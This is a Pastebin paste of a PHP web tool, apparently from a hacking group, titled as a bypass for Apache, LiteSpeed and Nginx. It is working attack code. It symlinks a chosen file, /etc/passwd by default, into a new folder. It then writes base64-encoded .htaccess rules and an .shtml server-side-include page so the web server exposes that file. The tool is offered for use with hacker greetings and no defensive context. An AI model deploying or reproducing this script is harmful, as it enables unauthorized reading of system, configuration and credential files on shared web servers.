Fadly31337

Bypass Apache, Litespeed, Nginx

Apr 12th, 2020
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.51 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>
  4. # LiteSpeed - Apache - Nginx
  5. </title>
  6. </head>
  7. <body></font><form method="POST">
  8. <pre>
  9.  ______  __     __   ___   ___             __       ________    _______   ___   ______    
  10. /_____/\/__/\ /__/\ /__/\ /__/\           /_/\     /_______/\ /_______/\ /__/\ /_____/\  
  11. \:::__\/\ \::\\:.\ \\::\ \\  \ \   _______\:\ \    \::: _  \ \\::: _  \ \\::\ \\:::__\/  
  12.    /: /  \_\::_\:_\/ \::\/_\ .\ \ /______/\\:\ \    \::(_)  \ \\::(_)  \/_\:_\/   /: /    
  13.   /::/___  _\/__\_\_/\\:: ___::\ \\__::::\/ \:\ \____\:: __  \ \\::  _  \ \      /::/___  
  14.  /_:/____/\\ \ \ \::\ \\: \ \\::\ \          \:\/___/\\:.\ \  \ \\::(_)  \ \    /_:/____/\
  15.  \_______\/ \_\/  \__\/ \__\/ \::\/           \_____\/ \__\/\__\/ \_______\/    \_______\/
  16.                                                                                          
  17. </pre><p><font face="Verdana" size="2" color="#FF0000">Nobody Likes Us :) </font></p><br><br>
  18. <div align="left">
  19.         <table border="0" cellspacing="0" cellpadding="0" width="797">
  20.                 <tr>
  21.                         <td>
  22.                         <font face="Verdana" color="#FF0000">
  23.                         <p align="left"><font face="Tahoma"><font color="#FF0000">Full PATH</font> :
  24. <font size="3">&nbsp;<b><input value="/etc/passwd" name="path" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000" size="44" tabindex="15">&nbsp;&nbsp;&nbsp;&nbsp;</b></font></font></p>
  25.                         </font>
  26.                         <font face="Tahoma" color="#FF0000">
  27.                         <p align="left">File Name</font><font face="Verdana" color="#FF0000"><font face="Tahoma"> :
  28. <font size="3">&nbsp;<b><input value="b0x.txt" name="filename" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000" size="44" tabindex="15">&nbsp;&nbsp;&nbsp;&nbsp;</b></font></font></p>
  29.                         <p align="left"><font size="3" face="Tahoma"><b>&nbsp;&nbsp;&nbsp;
  30.                         </b></font>
  31.                         <b><font size="3" face="Tahoma">
  32. <input type="submit" value="Execute" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000" name="z00z"></font></b></p>
  33.                         <b><font size="3" face="Tahoma">
  34.                         </form>
  35.  
  36.                         <?php
  37.                        
  38. # Security4Ever | sec4ever.com | n1x.cc
  39. # Greet'z 2 n1x | Sec4ever | The Injector | I-Hmx | h311coD3 | X-Shadow | Th3MMA | Jago-Dz | BlackHunter | Mr.L4iv3 | RayMon | Ma3stRo_DZ | Lagripe-DZ | RxR | OsSi | HeliA | Dr AnGeL | FoX HaCkER | R3d-DevIL | x3
  40. # Special Greet'z 2 FreeMAN[LY] | T0R0B0XHACKER |
  41. # All Rights Reserved To The Injector
  42.                      
  43.                        
  44.                        
  45.                         $path = $_POST['path'];
  46.                         $file = $_POST['filename'];
  47.                         if($_POST['z00z']){    
  48.                                 echo'          
  49.                        <br><br><span style="background-color: #FFFFFF">Status b0x</span></font></b><font face="Verdana"><span style="background-color: #FFFFFF"><br>
  50.                        </span></font>
  51. <textarea rows="12" cols="96" name="Status b0x" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000">';
  52. Error_reporting(0);
  53. $direcotry = "b0x";
  54. $comp="IyBDcmVhdGVkIEJ5IFR1cmtpc0gtUnVsZVoNCiMgR2VuZXJhdGVkIEJ5IFRSLUxTMg0KT3B0aW9ucyArSW5jbHVkZXMNCkFkZFR5cGUgdGV4dC9odG1sIC5zaHRtbA0KQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5zaHRtbA0K";
  55. $mkdir = @mkdir($direcotry);
  56. if($mkdir){
  57. echo "[+] Creating Directory ... Done\n\n";
  58. }else{
  59. echo"[+] I Can't Make New Folder , But I'll Continue If It Exist's !\n\n";
  60. }
  61. @symlink("$path","b0x/$file");
  62.  
  63. $open = fopen("b0x/.htaccess","w");
  64. $handle = fwrite($open,base64_decode($comp));
  65. @fclose($open);
  66. if($open){
  67. echo"[+] Opening Apache Access File ... Done\n\n";
  68. }else{
  69. echo"[+] Access is Denied , Try Again With User Privilege :) \n\n";
  70. exit;
  71. }
  72.  
  73. if($handle){
  74. echo"[+] Writing Access RuleZ ... Done \n\n";
  75. }
  76.  
  77. $r1z="PCEtLSNpbmNsdWRlIHZpcnR1YWw9Ig==";
  78. $r1zcom = "IiAtLT4=";
  79. $open2 = fopen("b0x/b0x.shtml","w");
  80. $handle2 = fwrite($open2,base64_decode($r1z).$file.base64_decode($r1zcom));
  81. @fclose($open2);
  82. if($open2){
  83. echo"[+] Opening Server HTML Web Page ... Done\n\n";
  84. }else{
  85. echo"[+] Access is Denied , Try Again With User Privilege :) \n\n";
  86. exit;
  87. }
  88.  
  89. if($handle2){
  90. echo"[+] Writing SHTML RuleZ ... Done \n\n";
  91. echo"[+] All Task'z Have Done !";
  92. }
  93. echo'
  94. </textarea></td>
  95.                </tr>
  96.        </table>
  97. </div>
  98. <p>&nbsp;</p>
  99. ';
  100. }
  101. ?>
Add Comment
Please, Sign In to add comment